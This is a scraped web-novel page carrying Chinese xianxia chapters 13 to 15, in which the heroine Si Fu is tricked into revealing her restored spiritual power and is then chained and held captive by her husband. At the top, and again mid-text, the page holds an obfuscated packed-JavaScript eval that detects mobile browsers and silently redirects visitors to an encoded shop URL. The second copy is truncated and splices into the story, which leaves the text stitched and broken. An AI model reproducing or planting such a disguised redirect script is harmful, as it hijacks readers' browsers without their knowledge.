;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320208|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子御剑赶来,却赶不上她急速下坠的速度。 诸多声音抛弃在悬崖之上,她眼里只有下方奔腾不息的河流。 她要离开,要摆脱这帮蛀虫,这才是她的逃脱之计,不依靠任何人,不需要牺牲城中百姓。 河水近在咫尺,她捏上腰间储物袋正要取出避水法宝,忽然,下坠的身姿骤然一停,一股无形的巨力将她托在半空之中。 姒芙猛然一惊。 头顶几道风声掠过,向上飞去,紧接炸起轰然之声。 姒芙愣愣跪在空中,仰首而望。 烟尘中,一名白发须眉的老者忽然而至,四面殷红的阵旗从他袖中飞出射向崖顶,一瞬间金光大作,雷火兽的怒吼突然变成哀痛的嘶鸣。 姒芙浑身一震,那是姒家伏妖的阵旗,旗出阵显,这只险些毁掉半座大城的雷火兽顷刻间被降服。 老者悠悠飘来,皱眉盯着半空中的小女子,“你不在山中呆着,跑外头来做什么?” 姒芙颤动着垂下头,掩去眼中不甘,怯声回了一句:“门主恕罪,是儿媳莽撞,回宗避难时不小心撞见此妖。” 老者正是玄善门门主陆琮。 早不回晚不回,偏偏这个时候归来。 她的逃脱之计,毁了。 陆琮似想责骂两句,话到嘴边似想到什么,态度和缓下来,“罢了,你受了惊,我先不责备你了。” 他手略略一抬,姒芙被他再次带回悬崖顶端。 四面阵旗插在雷火犬周身,阵线将它紧紧捆缚,伴着削弱妖力的灵气折磨,方才狂傲的妖兽瘫在地上顷刻间气息奄奄。 陆琮背手而立,开口便是一顿怒骂:“一帮废物!妖拖不住,人也救不下!养你们有何用!” 忍着未对姒芙发出的怒火,尽数倒在这帮弟子身上。 修为不济的弟子们跪趴在地,一身狼藉,头破血流,此时只敢埋头告罪。 陆琮似不想再看这群窝囊废,一甩袖,厉声道:“把它处理了,去城中善后,事后本尊再处置你们!” 一群人领了命再不敢拖沓,手忙脚乱地将只剩一口气的雷火兽拖了下去。 山顶安静下来。 姒芙仍跪坐在地,两手撑在地面,碎石把掌心压出了深深的印子。 头顶传来威压,陆琮在看她。 瞥向她手臂血流不止的伤口,嘴唇开合几许,只道了一句:“你做事这般莽撞,若出了事,我如何跟姒家交代?” 交代?交代什么?有何好交代的? 姒芙游刃有余落下几滴泪,哀哀戚戚道:“儿媳无用,给诸人惹了麻烦,是儿媳的不是。” 她哭得越来越熟练,连沾了姜汁的帕子都不需要了。 陆琮盯着她良久,似不大擅长跟这个身份特殊的儿媳打交道,生涩道:“我知你郁郁不得志,但你低嫁来玄善门,我玄善门好歹会善待于你,可你也不能让自己遭遇险境。今日若我没及时赶到,你……” 说得冠冕堂皇,无非是为了她背后姒家的利益。 陆琮对她向来是面子上的礼待,只当她是棵获取银钱的摇钱树,可今日这发自肺腑的关心态度,未免好得有些过分。 余光中,见他突然取出一块手掌大小的铜镜,平放在地面。 姒芙见到镜子的那一刻,眼眶骤然一缩。 “姒家有东西需要我亲手转交,想来此时给你更加合适。”说完,陆琮避开走远。 苍茫的山巅只剩她一人,山风一过,躺在地面的铜镜忽而亮起,金红色的阵法自镜面向外如流水般舒展而开。 金红相交的绚烂阵光中,一个模糊的人影缓缓显现。 那人坐在一把青木太师椅中,一身墨青色长袍映出朦胧流光,袍角的银色竹枝暗纹似流光中稀疏的星点。 人影感受到阵力缓缓站起身,一步一步向姒芙走来,每踏一步,朦胧的面容便清晰一分。 他停在姒芙身前,微微弯腰,俊美的五官划破雾霭云烟逐渐清晰,如云收雨散后的苍翠远山,周身氤氲的青光,成了嶙峋山崖间唯一一抹绿意。 披散的雪色长发虚影穿过她的肩头,姒芙手中的碎石不知何时刺破掌心。 可她不知疼。 方才装模作样的女子恭顺伏地,额头磕上一颗尖锐的石子,却不敢妄动。 忍下喉间艰涩,她徐徐开口: “不孝子弟姒芙,拜见家主。” 13.明月别枝骤雨倾 “芙儿,”他悠悠开口,声音缓慢低沉,好似飘渺的天外传音,话音落下的尾端缭绕着余韵。 “几年未见,你对本尊的称呼也改了?” 姒芙浑身一颤,喉咙吞咽几许,再次开口:“宗父。” 整个姒家,唯有姒芙能唤他一声“宗父”。 姒洄凝视着她,发丝如山涧淡白的雪,轻舞飞扬,他沉默许久,如霜的目光静静落在她身上:“族老们趁我闭关,背着我将你嫁来玄善门,你受苦了。” 姒芙不见丝毫停顿,恭顺回道:“姒芙身为姒家人,遵循族中之令,不敢言苦。” “你还是这般懂事。”姒洄好似轻叹一声,“事成定局,是我一时不察,叫旁人得了便宜。” “宗父身为家主,重担加身,又多年不插手庶务,必然无法事事周全,姒芙体恤宗父,嫁来玄善门是不想让宗父为难。” “莫恼,”他声音清冷,“我怎会不知你心有不甘?”安抚的话语也是冷冷淡淡。 伸手习惯性抚向她头顶,影子却穿透而过,他顺着她头颅的弧度,如往日一般轻抚两下,声无波澜:“提议将你送来的那名好继母,已被我剜了眼睛。” 姒芙心口一缩,又听他平平淡淡道:“她出身金家,眼珠没了还能找一对替上,本尊也只能小惩大诫。” 金家乃新兴医修世家,是姒家最得力的附庸之一,姒洄看在两家利益相关休戚与共,下手留了余地。 可莫说剜眼之痛,便是续接双目也是非人的折磨。 姒芙与继母势同水火,但她心中……难以欣喜。 她伏在地上,浑身紧绷,一动不敢动。 姒洄幽幽望着她怯懦的身影,语中含了一丝不悦:“我不过几年没在身边,怎变得这般胆小?” 姒芙闻言忙直起身,镇定自若看向他。 姒洄不喜欢她懦弱,不喜欢她惧怕他,她即便是装,即便眼前只是个阵中投射的人影,也不能表现出一丝一毫的畏惧。 姒洄面露满意,高不可攀的家主缓缓蹲下身,与她平行而视,“在外几年,玩的可开心?” 姒芙慎重答道:“姒芙不敢玩乐。” 他眼神轻若鸿毛落在她身上,若有似无。姒芙知道他在打量她,在捕捉她是否有欺瞒。 空旷的山顶,顿时变得压抑窒息。 “莫怕,”他低低一笑,姒洄极少笑,身为活了六百多年的世家之主,七情六欲早沉入这副愈见年轻的皮囊下。 “是宗父疏忽,将族中权柄交予族老们多年,没想到养大了他们的心,敢违背本尊意志,动我的人。”幽深的目光再次笼罩下来,“与世无争多年,我也倦了,该是时候整肃族人。你委屈一阵,乖一些,不日,我会接你回来。” 姒芙浑身起了一片寒栗,却不敢让姒洄发现丝毫端倪。 她顺从伏拜,掌心再次被指甲割出了血,忍住浑身轻颤,语气欣然回道:“姒芙,谢过宗父。” 萧瑟的山风拂过,吹出远处树林间一片雪白衣角。 一个呼吸,那抹观望许久的白影,如烟般消散在山林清风之中。 …… 攻城的雷火兽不知被玄善门收去了何处,仅存的弟子们又匆匆忙忙回飞东城收拾残局。 子时,陆之轩带着一帮身上挂彩的弟子从东山赶了回来。 除妖之事进行到一半,他便收到飞东城遭受袭击的来信,当即吓得妖也不敢除了,领着人就往飞东城赶。 谁知东山被惹恼的妖却追了过来,他们费了好大力气才将几只穷追不舍的妖摆脱。 城未救,妖未除,没一件事办妥当,如今一个个颓丧地站在宗门大殿前,听门主训斥。 前山响彻着陆琮的怒骂声,萦绕不绝,后院里,姒芙坐在屋中盯着桌上平躺的铜镜,兀自发怔。 一束月光透过窗棂照射在镜面,成了昏暗屋中唯一的亮光。 镜面平静如水,归于普通的镜子里映出一张模糊的脸。 本该是活泼昳丽的容貌,此时却安静得似一潭死水。 不知这样坐了多久,僵硬如石头的人终于动了动,她似想将铜镜收起来,却发现自己的指尖在不由自主的轻颤。 怔怔盯着自己颤动的指尖,忽而猛地抓起铜镜,摔入床榻。 镜子在柔软的床褥上滚了两滚,完好无损。 姒芙再不敢看它一眼。 她讨厌这个镜子,却不能毁掉它,就跟自己这副没了修为的身躯一样。 颓然倒在座椅中,透过大开的窗望向星空。今夜浓云密布却不见落雨,潮湿的气息逼仄又沉闷。 她的卦果然灵验,自计划逃跑开始便事事不顺,也不知这霉运要持续到什么时候。 姒芙疲惫地合上眼,一股无力感绕上心头,拉着她遁入一片虚无。 黑暗中下起了漫天大雪,铺天盖地,遮天蔽日,白似棉絮的雪片里,一名女童梳着双髻站在雪堆里茫然四顾,雪线几乎盖过她小小的身子。 姒家位于雪麓城,一年中有三季是雨雪纷飞,她小时候很喜欢雪,无论如何调皮捣蛋,都有厚重的雪堆托着她。 然而娘亲离开姒家以后,身边再没有人陪她玩闹。 娘亲离开的第二日,她哭着满院子寻她,下人被下了禁令,皆离她远远的,不敢看顾她。 她独自一人漫无目的四处寻找,姒家很大,积雪将硕大的家宅覆盖成一片空荡的雪域,她如迷途的羊,误闯进一座四季如春的院落。 没了积雪阻隔,她好似不知怎么走路,走一步摔一步,撞进一片竹林。 与外头不同,此地碧蓝如洗阳光和煦,宛如仙境,翠绿的林间落着鹅毛大雪,可还未触地便消散成细碎的飞屑。 她看痴了,忘了哭,坐在地上怔怔盯着这处奇景,又莫名想到阿娘。 若阿娘此时瞧见她喜欢,定会给她造个一模一样的幻景,再端来一碗最爱的甜茶,两人靠坐在一处,一句一句教她造出此景的术法与门道。 可阿娘走了,抛下她离开了。 她忍不住又要落泪,再美的景也不如阿娘一笑。 泪眼朦胧间,忽而华光一闪,一个青色身影劈开满眼翠色,翩跹而至。 似雪片一般飘忽的身影落在她跟前,还未瞧清,头顶落下一只温暖的手。 “哪里来的毛头小儿,竟能破我的阵?” 声音清清冷冷,与头上的温度不一样。 她擦去泪水,借着空中骄阳,终于看清来人容貌。 与雪一样银白的长发,与翠山竹林一样隽永的容颜,跟她阿娘一样好看。 她以为是梦中幻影,忘了回话。耳边传来一声询问:“姒家人?” 她愣愣点头。 “如何进来的?” “我见到结界……在上头……画了个洞。”她磕磕巴巴回应。 眼前漂亮的眉头微微一皱,那双看着她的琉璃眼,眸色渐深。 再次开口,他突然谈起院中阵法,如何设的阵,如何启的阵,晦涩深奥,凝在三两句话中。 末了他淡然问:“听明白了吗?” 她不知自己听没听明白,懵懵懂懂以指为笔,在脚下涂涂改改,顺应心意画了个简单拙劣的阵法。 “你的阵好复杂,我更喜欢这个。” 短小的手指方离开地面,顿时阵中生出无数繁花,顺着他的脚缠绕而上,开满了他半身。 他安安静静看着她,许久,或许是片刻,他缓缓蹲下身,花枝顺势而上,开在他俊美的脸侧,衬得他似霜雪中的神祇。 他轻轻拂去她裙裾尘埃,声音依旧清清冷冷。 “我叫姒洄,以后,你跟着我。” 姒芙骤然睁眼。 眼前残留着未尽的雪景,突然一张放大的脸闯了进来,险些吓她一跳。 “陆之轩!” 姒芙叱骂了一句。 陆之轩靠在桌边,没脸没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这法器每个角度都戳中了她的心窝,陆之轩太清楚她钟爱珍贵的炼器材料,以及各类稀罕的宝贝。 见姒芙态度缓和,陆之轩得意道:“喜欢吧,我可是下了血本,这买卖怎么算你都不亏。你只需要指点我,都不用出力……当然了,你也出不了力,几句话的功夫白得一个珍贵法器,多划算啊。好芙儿,你就陪我走一次吧?” 陆之轩什么时候变得这么能说会道了? “这么好的事,莫不是有诈吧?” “这你可就冤枉我了,还不是你昨日险些没了命,爹让我好好安抚你嘛。”陆之轩凑近,“喜不喜欢?喜欢就陪我走一趟,废不了你多少时间,完了我再请你去明光楼,近日又上了几道新菜,我带你去尝一尝。” 他委实过于殷勤了些,姒芙产生了怀疑。 陆之轩苦口婆心道:“阵法若不修复,城中百姓寝食难安,等姒家来人还不知等到什么时候。芙儿,我也是没辙了。” 提到姒家,姒芙眉头轻微一颤。若姒家来人,那她更难逃脱了…… 垂眼盯向手中的狼牙,拒绝的话无论如何都说不出口了。 陆之轩将狼牙又往她手里塞了塞,很快松开手,不惹她嫌弃,一举一动皆按着她的心意走。 姒芙沉吟片刻,只好勉为其难道:“好,我陪你走一次,以后……” “以后我都先征求你的意见,再不拿爹娘施压,可好?” 许是因为姒芙答应,他变得极好说话。 “希望你能做到。” 陆之轩乍然一笑,牵起她的袖角直往外头赶,边走边咋呼道:“行了行了,咱们早去早回,不然爹又要恼我。昨日刚挨了顿骂,可不能再被他训斥。” 他回头催促她,笑容灿烂,姒芙嫌弃地瞪着他的手,未能瞧见那抹藏在眼中的深意。 “毕竟,好不容易求到我的好芙儿,可不能再让你跑了。” 14.明月别枝骤雨倾 鹿车里,陆之轩唤出一张飞东城地图,一张朱笔勾勒的巨大阵法覆盖在城图上,“这是早年姒家的阵法,芙儿应该见过吧?” 姒芙扫了一眼,淡淡点头。 陆之轩指向一处标记位置,“当年前来设阵的姒家人粗心,本该设在牢狱所底部的阵眼,不知怎么偏移了几分,挪到旁边一颗杏树上。一棵树怎么能镇住这么大的守城阵啊。” 姒芙早已知晓,当日她本是冲着牢狱所去的,进去发现不对劲,才寻到那株百年老杏树。 “你们没让他们改回来?” 陆之轩叹道:“飞东城安然无恙了这么些年,若不是这次出事,谁会发现阵眼位置不对啊。” 姒芙没吭声,转而问:“这雷火兽怎么会突然出现?附近城镇没有受袭?” 提及此事,陆之轩眉头紧皱,苦恼道:“这雷火兽跟凭空冒出来的一样,只有飞东城被袭击,真是见了鬼了。爹已经派人去查,可这没头没尾的,也只能从飞东城附近找。” 姒芙缓缓靠回车座,这次遇袭太过蹊跷,雷火妖是六阶妖兽中最弱的一支,只因它们血脉特殊,不会化形,不会瞬移,更不会纵风腾飞,全靠着一身磅礴的雷火之力才被定为六阶。 这般行走如普通兽类的妖,是怎么出现在飞东城的? 鹿车晃晃悠悠行到牢狱所,方一停靠,陆之轩便向所里的百年杏树行去。姒芙在后头跟了两步,猛然想起她的阵器还埋在树底下,若是被发现…… “陆……” “少主!” 一名玄善门弟子忽然跌跌撞撞跑了过来,见到陆之轩就是一跪,“少主,百姓在主街闹起来了!” 姒芙闻言顿时收声。 陆之轩眉头一皱,质问:“你们不是去善后的吗?怎么还让人闹起来了?” 弟子额头上破了个小口子,不知道是自己摔的还是被人打的,哭丧着脸:“就是……为善后之事闹起来的。” 陆之轩闻言来了气:“怎么回事!” 许是心虚,弟子缩头缩脑交代着:“百姓问同样是缴纳了上供,为何现在只救济富户,不理平民,他们……他们……” 陆之轩顿时气怒:“什么玩意?不是说了先从城东开始收拾吗?谁让你们挑上了?” 弟子含含糊糊道:“本……本也没挑……可……可有富户着急找了过来,所以……” “他们塞钱了?” 弟子没吭声。 陆之轩气不打一处来:“蠢货!收便收了,怎么还顾此失彼?这不凭白给人留话柄!” “本来也没有区别对待,可……可……咱们人手不够啊。” 什么不够,不过是见利忘义,都奔着银钱去了。 很有玄善门的作风。 姒芙背着身佯装欣赏头顶天色,给陆之轩留了三分颜面。 事没办好又无力收拾,弟子跪在地上哭:“如今民众聚在大街上,要咱们退回今年的供钱,拦也拦不住,少主……少主……我等镇不住啊……” 陆之轩叱骂:“废物!一群废物!” 他气得不轻,一脚踹在弟子肩头,弟子哭哭啼啼爬起来,只求陆之轩赶紧去善后。 陆之轩胸口几番起伏,勉强压住喷薄的怒气,转向姒芙,为难道:“芙儿,我……” 姒芙善解人意笑着:“夫君事忙快些去吧,芙儿在此等候便是……” 陆之轩讪讪笑了笑,招来附近一名牢头,“狱里头的囚犯已被我提早清走,让他给你引路,你若无聊可先帮忙定下阵眼位置,我处理完便来寻你。” “不用这么麻烦,我自己去便行,你让闲杂人等离远些。” 陆之轩还想说什么,无奈弟子在一边催促,不胜其烦,他只好跟姒芙嘱咐了一句:“我尽量不耽误太久,现下城里乱着,你若忙完别四处乱逛,等我回来。” 他什么时候变得这么婆婆妈妈,跟坊市里爱闲扯的老妇似的。 姒芙懒懒挥手,收了他难得的好意,“我省得,夫君且宽心便是。” 看着陆之轩与弟子消失在大门外,姒芙遣散掉闲杂人等,来到老杏树下。 确定四周无人,她挖出阵中器,上头的灵石已经暗淡无光,没有了催动的灵力,跟一块普通铜饼无甚区别。 姒芙将阵中器丢回玉环,抹平坑洞,才慢悠悠走向牢狱所。 此地关押的皆是寻常凡人囚犯,大多是死囚,如今里头被陆之轩提前清空,仍旧有一股终年不散的潮湿腐气。 地面污糟,许是没人用心清理,姒芙跨过一滩滩不知是泥还是什么东西的干涸秽物,缓缓前行。 沿着阶梯而下,最底处是一间空置的厅堂,直到前方出现一堵墙,姒芙皱了皱眉。 当年设阵之人是有多粗心,不仅弄错了方位,还把真正的阵眼位置给挡住了? 姒芙抬手在墙面摸了摸,墙砖没有想象的潮湿,仿佛新砌不久,她又敲了敲,后方似有空旷的回音。 姒芙一愣,建在地底的牢狱,后头怎会是空的? 墙后忽然传来一道细微的声响,姒芙还未来得及细听,突然脚下一空,整个人被一股猛力吸入地底。 姒芙霎时一惊,反射性张手,却惊觉体内空虚,无法唤出自己的本命灵宝。 再一回神,发现掉进一间空旷的石室内。 空空荡荡,灰石墙青面砖,显然是人为所建,黑漆漆的,唯有墙上一盏鱼油灯燃着暗淡火光。 姒芙抬头,上头是天然的洞顶。这是一间暗室。 这牢狱所下还有玄机?可她未见传送阵法,是如何掉下来的? 姒芙思索片刻,掏出一瓶补灵丹吞了下去。 暗室前方有个门洞,里头似有一条幽深不见影的暗道,那道声响再次顺着暗道飘来,叮铃铃的好似是金属撞击之声。 她盯着唯一一处门洞,里头黑沉沉好似一张巨口,给人一种不妙的预感。 这里莫非还关押了其他重犯? 她再次找了一圈,这里空空如也,异常干净,未能找见离开的机关抑或阵法。 远处叮铃铃的声音越来越大,好似被人拉扯一般,一声一声,铿锵有力,在昏黑的地下变得愈发诡异。 忽然脚下响起一声沉闷的怒吼,伴随着乍然而起的铮然断裂之声。 姒芙还未来得及反应,一股冰冷的寒意迅速窜来,如闪电卷上她的腰肢,根本躲闪不及,浑身一紧,眼前一黑,她被那股巨力扯入门洞深处。 疾风划过,须臾又停了下来。姒芙睁眼一瞧,霎时整个人冷汗直下。 昏暗中一张硕大的人脸怼在眼前,抑或说似人非人,人的五官,周围爬满了鳞片,分不清男女,耳畔长着一对扇形鱼鳍,有半臂宽长。 余光一瞥,它没有四肢,只有一条约莫三丈长的蛇身,上头覆盖着鱼鳞状的鳞片,在黑暗中泛着诡异的幽光。 是……六阶的人首蛇! “今儿送来的食物怎这么香?” 人首蛇幽幽开口,声音似男非女,一双竖瞳黏在她身上,恐怖的威压从瞳孔中渗了出来。 地下为何会藏了一只六阶妖兽? 姒芙来不及分辨它话中的不对劲,瞥见下方断裂的铁链,瞳孔一缩。 这妖莫非是挣脱了束妖的锁链,才这么轻易抓住她? 这里怎么会关了只妖? 姒芙来不及细想,奋力一挣,发现周身被蛇尾紧紧卷住。 “小东西挺鲜活。”人首蛇轻笑一声。 许是因为没了铁链,它懒洋洋伸展了一下妖娆的蛇身,“长得挺漂亮,吞了有些可惜,不如让我一口一口细细品尝?” 本是懒散的蛇妖骤然大口一张,姒芙终于够到腰间狼牙,往坚硬的蛇身狠狠一扎,尖利的狼牙晃过一道白光,刺破坚硬的鳞片,耳边一声痛叫,霎时妖血飞溅。 卷着她的蛇尾骤然一松,姒芙摔倒在地。 蛇妖痛得在地上打滚,姒芙转身就跑。 被伤的人首蛇很快反应过来,长长的蛇尾一甩将她一绊,姒芙滚了两圈躲开攻击,而人首蛇忍着痛游曳行来,绕着她娇娆道:“小东西扎得奴家好疼啊,还有什么招数,使出来让奴家瞧瞧?” 姒芙两手撑地,眼见生路被断,眼里滚下两滴泪,“妖仙大人,小女身上无二两肉,便是吃了也不够填您牙缝,不如留着小女,小女为您寻些更合口的食物?” 人首蛇贴上来,那张丑陋的人脸在她周身细细闻嗅,感叹道:“可是你好香啊,比我曾经吃过的那些玩意都香。” 说着嘴角流出一缕妖雾。 袖角方沾上一丝,顿时被化成紫色的怪异粘水,姒芙忙就地滚开。 她四处逃窜,跟个无头苍蝇似的,蛇妖起了逗弄之心,她往哪躲,长长的蛇身就往哪堵,不知不觉,粗长的蛇身再次将她围住。 “调皮的小东西想往哪跑?”它上身直立,高高睥睨着姒芙。 姒芙眼珠儿一转,站在里头哭,“妖仙大人,方才是小女愚钝,不知妖仙大人这般厉害,不小心伤了大人,小女知错 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这人首蛇许是被关了太久,脸色几经变换,时而感慨时而缅怀,就在它沉浸之余,姒芙趁它不备猛然将狼牙向它一砸,霎时一阵刺目的亮光从狼牙内急射而出,正中人首蛇七寸。 轰然一声,石室震了两震,烟尘腾起,那人首蛇被狼牙中的剑气一击砸入对面石墙,半晌没有动静。 狼牙掉落在地,闪过一缕光又恢复沉寂。 八重剑修的剑气打在六阶妖兽身上,不死也残得无还手之力。 姒芙弹了弹身上的灰尘,再不见方才乞求的懦弱。 她慢悠悠捡起狼牙,里头的剑气只有一道,用完仍是一枚不错的炼器材料,可不能浪费。 忽而头顶疾风扫过,姒芙慌忙一滚,方才站立位置砸下一根粗壮的蛇尾。一回头,本该死去的蛇妖半飞而起,背后展开一双形似蝠翼的紫黑肉翅。 “狡诈的人类,竟敢偷袭我!” 这哪里是普通六阶妖兽,竟然……是一只即将进阶的大妖! “可也就到此为止了!” 它吐出一口残血,丑陋脸上的鳞片猛然变得狭长,双翼一扇,霎时放出磅礴妖力向姒芙攻来。 妖力化成数百根毒针迎头砸下,姒芙也不躲,周身腾起数道浑厚灵息,冷冽地仰头望向上方针雨,忽而一抬手。 一道绚丽如血的红光自手心而出,骤然铺成一片氤氲云雾,雾中不知藏了什么,倏地华光大作,亮如白昼,顷刻化去百枚毒针。 一个眨眼,绚烂红光一闪,那蛇妖不知被什么东西再次击中,摔倒在地,细如牛毛的万千光线在它周身疯狂旋转,铁甲的鳞片翻飞凌乱,须臾被光丝割出无数血线。 本就被剑气所伤的人首蛇痛叫哀嚎,叫声凄厉刺耳。 炫目灵光之下,蛇妖被折磨得难以忍耐,数丈长的蛇身疯狂扭曲拍打,在乱石堆里不住求饶。 叫声在地下回荡,姒芙睥睨着蛇妖,冷笑:“穷凶极恶的妖,又怎配说人狡诈?” 手中亮出一柄红雾凝聚的长剑,灼灼其华蕴含冰冷杀意,正要扎入蛇妖心脉。 然而方踏出半步忽而一滞,冷漠的神色陡然一变。 只见被蛇尾撞塌的石墙之外,无数双幽绿的瞳仁在黑暗中闪烁,静静凝视着她…… 那数目多得有如黑夜遍布的星辰…… 姒芙不可置信地盯着断壁之外,指尖僵硬一点,红雾膨胀一倍,光亮渐盛。 光芒一寸一寸吞噬黑暗,所过之处,竟是一只只被锁妖链捆缚的各类大妖,一眼竟望不清具体数目!它们困在牢笼中,面目狰狞,一瞬不瞬死死盯着姒芙。 姒芙惊得忘了动作。 瘫在地上的人首蛇呻吟一声,瞥见姒芙分神,趁机反击。 姒芙回神,正要念咒,忽然眼前飞来一个身影,只听“噗呲”一声,妖血飞溅,人首蛇的头颅滴溜溜滚到姒芙脚下,再没了动静。 那人缓缓转身,两滴鲜血自他脸颊滑落,将他眉目勾勒出一分妖冶。 他一眼未看姒芙头顶的绚烂红雾,眼神阴邪紧紧锁着她,嘴角徐徐勾起。 一步一步行来,沾满血液的手揽住她肩头,颀长的身姿将她笼住。 微微一用力,带着她转过身。 姒芙瞳孔一缩。 头上,那人嘻嘻一笑,对前方一名忽然现身的白发老者得意道:“爹,我说的没错吧,姒芙她啊,能动用灵力呢。” 15.暗浪涛涛轻舟摇 一灯如豆,本是阳光最盛的午时,房内却门窗紧闭,暗无天日。 灯火不及处,一名女子躺在床榻上,娇丽的面容冷汗涔涔,昏暗中她脸庞莹白似雪,似暗中鬼魅。 喘息声在寂静的房中萦绕,连绵不绝。 榻边靠来一人,细细擦拭女子额间碎汗,可好似擦不尽似的,抹去一片,很快又冒出新的虚汗。 他似是无奈,轻柔一叹,“芙儿,我都未对你做什么,你怎就虚弱成这样?” 手指顺着她脸颊的弧度,停在细弱的脖颈处,流连忘返,“你莫不是装的吧?” 姒芙睁开双眼,无甚表情,可口中的话字字含针,“陆之轩,你是故意的,引我去牢狱所,用妖探出我的秘密。” “没错,不过我送了你防身的狼牙法器,可不想让你受伤。” “拿开你的脏手!” 陆之轩笑了笑,“为何不能碰?你我是名正言顺的夫妻,我虽不喜女子,为了你也不是不能委屈一下。” 姒芙抬脚向他踢去,铛啷啷一阵乱响,还未碰到人便给摁了下来。 陆之轩顺着她的小腿,摸上一根三指粗的铁链,和颜悦色道:“是不是短了些?明日我给你换条长的,你行动起来也更方便。” 姒芙再不肯看他,胸中憋闷难耐,浑身阵痛。她方强行驱使过大量灵力,经脉正是疼痛难忍,加上这憋闷的暗室,身体与神智几乎快被击溃。 她咬牙硬撑着,冷怒道:“你们怎么敢的,怎么敢做出如此大逆不道之举。” 陆之轩一挑眉,笑问:“芙儿在说哪件事?”他弹了下铁链,“是说我将你囚禁,还是说我们在飞东城下养了一群妖?” 姒芙眼神冰冷,桩桩件件,都恨不得一刀捅死他。 陆之轩许是觉得这姿势与她说话疲累,整个人靠坐在榻上,他轻柔抚摸着姒芙的青丝,爱怜道:“那群妖可不是我要养的。” “所以雷火兽是从地底逃出来的?” 陆之轩笑应一声,“这几日忙着东山除妖,不小心让那小畜生钻了空子。” “你们在人间域私养妖兽,不怕遭各大门派世家讨伐?” “这就不需要你操心了。” “陆之轩,你们简直……你们疯了吗?你们可知那些妖有多危险,玄善门这帮人如何镇得住它们!” 姒芙怒斥着他们的逆天之举,一指抵在她唇前,轻轻“嘘”了一声,“小声些,这不能告诉你,可要说另外的,我倒是能陪你好好聊一聊。” “聊一聊怎么抓住你这个小狐狸的,怎么样?”他言笑晏晏,仿佛一个包容妻子玩闹的和蔼夫君。 他拨开她的乱发,“该从哪里说起呢?啊,是了,”他弯腰凑近,昏暗中,姒芙看清他眼中从未见过的阴暗,“该从第一次撞见你和寂无寐在一起。” “姒芙,你真以为你掩藏得很好吗?” 姒芙双唇紧抿,她回想过是哪里露了马脚,可未想到竟然是第一次与寂无寐重逢。 似是猜到她心中所想,陆之轩叹息道:“你呀,很聪明,平日里对着我真真假假,一开始确实被你唬住了,可我回头一想,你这个人谁都不喜欢,表面上对厌恶之人淡然相处,可唯独对寂无寐避之不及。若说你与寂无寐是旧识,也不至于这么大的反应,于是我只好让你们多接触接触。” 难怪他屡次三番拉着她接近寂无寐,可她跟寂无寐重逢以来,自认在陆之轩面前没有露出过明显的破绽。 “陆之轩,你有这么心细如发?” “你知道你哪里暴露了吗?”陆之轩掌心贴在姒芙脸颊,姒芙愤然甩开,却听陆之轩低低一笑,“你看,姒芙,你还没发现吗?你对所有男子,包括我,都不愿被碰触。可寂无寐在你身边,你有疏离,有警惕,可唯独……没有嫌弃。” 姒芙猛然一怔。 陆之轩收了手,头却离她更近,“所以我确定,你跟他关系匪浅,非同一般,不似仇敌,更不像旧友。” 他长长一叹,“所以我恨呐,恨我的妻子与自己的男子之间有不为人知的秘密,可你又身份特殊,叫我好生为难。那我只能暗中蛰伏,第一次让你救他,可惜被打断没能盯住你,于是我设计了第二次,给我母亲透露了寂无寐,母亲一怒之下派弟子下山欺辱他。” 他得意洋洋道:“此一计不仅探出你与寂无寐关系不同,还不小心发现你经脉已然痊愈,真是意外之喜。” 姒芙自嘲:“看来是我大意了,竟被你一次次算计。” “并非是你大意,姒芙,你若对他如其他男子那般袖手旁观,冷情无心,又怎会暴露呢?” 他目光一凝,“寂无寐到底是你什么人?竟能惹你不惜暴露秘密,三番两次救他。” 面对他的冷声质问,姒芙骤然一笑,挑衅道:“你不是很能耐吗?一步一步用计套出我的秘密,那你自己去查。” 陆之轩猛地掐住她,“姒芙,别再跟我耍心机!” 姒芙却笑得愈发畅快,“耍心机又如何?陆之轩,你不敢伤我。你把我囚禁在这,不就是为了利用我吗?” 他狠狠瞪向姒芙,姒芙疼痛难忍,依旧笑望着他,眼神冰冷刺骨。 无形的气流在两人之间对撞,房中唯一的火光疯狂颤动扭曲,终于坚持不住“呲”的一声熄灭。 脖上的力道骤然一松,陆之轩抽身站了起来,慢条斯理抹去掌心残留的汗水,又变回那副无赖样,“你说的没错,我确实不敢伤你,我还等着你为玄善门炼制阵器。” 回想起姒芙的能力,陆之轩畅想着:“有了你,姒家送来的那点襄助算什么,今后何愁我玄善门缺金少银,像狗一样跪舔各大世家?” “姒芙,你可是千百年来,世家中最耀眼的天才啊。” “你做梦!” 陆之轩不屑一顾笑笑,亲手为她整理被褥,悠然道:“你可是我门中最大的宝贝,放心,我会善待你的。”他眼神再次变得晦暗,低声道:“你和寂无寐,都是我最大的宝贝。” “陆之轩,你真恶心!” 面对姒芙凌厉的嘲讽,陆之轩毫不在意,愉悦地离开,临出门前又恍然嘱咐了一句:“姒芙,最好别跟我表面一套背地一套,安心为我玄善门炼器画阵,否则捆你的就不是这普通玄铁链了。” 门扉合上,房内重归黑暗,门外还飘荡着陆之轩畅快的笑声。 姒芙摸向脖间玉环,却发现身上被陆之轩下了束灵咒,竟连储物器都调动不了。 如今,她成了个真真正正的凡人之躯。 姒芙收回手,默默闭上双眼。 无妨,她不是第一次成为“凡人”,不是第一次让自己成为“凡人”…… 先养好身子,恢复气血,她总有办法能再次逃脱。 …… 薄暮冥冥,乌云压顶,高耸的山巅更早迎来逼仄的黄昏。 宗内仆役们早早挂上气死风灯笼,可唯独门主的院落无人敢靠近。 